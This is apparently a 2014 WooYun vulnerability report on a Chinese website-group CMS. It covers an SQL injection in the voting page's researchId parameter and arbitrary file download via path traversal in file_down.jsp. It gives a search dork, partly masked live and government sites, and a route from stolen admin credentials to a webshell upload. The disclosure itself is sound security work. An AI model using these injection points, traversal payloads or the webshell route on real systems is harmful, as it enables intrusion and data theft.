当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-063579

漏洞标题：某网站群系统存在通用SQL注射+任意文件下载#可入后台getshell

相关厂商：Cncert国家互联网应急中心

漏洞作者： U神

提交时间：2014-06-04 22:58

修复时间：2014-09-02 23:00

公开时间：2014-09-02 23:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-04： 细节已通知厂商并且等待厂商处理中
2014-06-08： 厂商已经确认，细节仅向厂商公开
2014-06-11： 细节向第三方安全合作伙伴开放
2014-08-02： 细节向核心白帽子及相关领域专家公开
2014-08-12： 细节向普通白帽子公开
2014-08-22： 细节向实习白帽子公开
2014-09-02： 细节向公众公开

简要描述：

投票地方存在注入

详细说明：

#1.通用型建站程序介绍：

1、建站程序类型：JSP+MSSql
2、漏洞类型：SQL注入
3、缺陷文件：vote/voteok2.jsp 或vote/voteok.jsp
4、注入参数：researchId=
5、涉及版本：未知
7、危害程度：高危
8、涉及厂商：安徽汇能信息技术有限公司
9、厂商网站：http://www.hnkj.com.cn/
10、安装量：大
11、是否拥有源代码分析：暂无
12、关键字：inurl:newinfo.do?infoId
13、是否默认配置：是
14、枚举案例【应乌云的要求，枚举5例】：
【声明：以下提供的全部案例一方面证明通用型，一方面是给CNVD或Cncert测试，其他人不得用此作非法用途或者破坏操作，否则后果自负】
http://www.***.gov.cn/vote/voteok2.jsp?researchId=2
http://www.a***w.gov.cn/vote/voteok2.jsp?researchId=3
http://www.***y.gov.cn/vote/voteok2.jsp?researchId=2
http://www.a***.org.cn/vote/voteok2.jsp?researchId=3
http://www.***.ah.cn/vote/voteok2.jsp?researchId=3
.....等等
01.jpg

漏洞证明：

#2.注入证明（不测试gov站点）：

http://www.***.com/vote/voteok2.jsp?researchId=3


明文密码：

02.jpg


http://www.***w.com/vote/voteok2.jsp?researchId=3


03.jpg


http://www.a***j.com/vote/voteok2.jsp?researchId=3


04.jpg


http://www.j***.ah.cn/vote/voteok2.jsp?researchId=3


05.jpg


http://www.a***g.com.cn/vote/voteok2.jsp?researchId=3


07.jpg


#3.任意文件下载：
漏洞文件：addcontent/webEditorhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/files/file_down.jsp?filename=
其中filename没有正确的判断下载文件的合法性，导致可以下载任意文件。
枚举三例：
http://www.a***y.cn/sjxyjyw/addcontent/webEditorhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/files/file_down.jsp?filename=../../.../../../../index.jsp
08.jpg




http://zm71c.***gc.com/addcontent/webEditorhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/files/file_down.jsp?filename=./file_down.jsp



09.jpg




http://www.ah***z.com/addcontent/webEditorhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/files/file_down.jsp?filename=./../../../../admin/main.jsp



10.jpg





#3.可getshell，利用注入出的帐号密码，进入后台可以上传webshell，增加栏目的地方。
11.jpg




然后可以getshell



12.jpg

修复方案：

版权声明：转载请注明来源 U神@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2014-06-08 22:20

厂商回复：

CNVD确认并复现多个实例情况，已经转由CNCERT下发给安徽分中心（仅处置实例，未确认软件生产厂商）

最新状态：

暂无

漏洞评价：

评论

  1. 2014-06-05 16:59 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号，不装逼了，再见孩子们。by Mosua...)

    你是什么时候提交的？

  2. 2014-06-26 19:05 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    其它注入已提交至360库带

  3. 2014-07-12 09:10 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM：http://bbs.jyhack.com/)

    好叼、源生..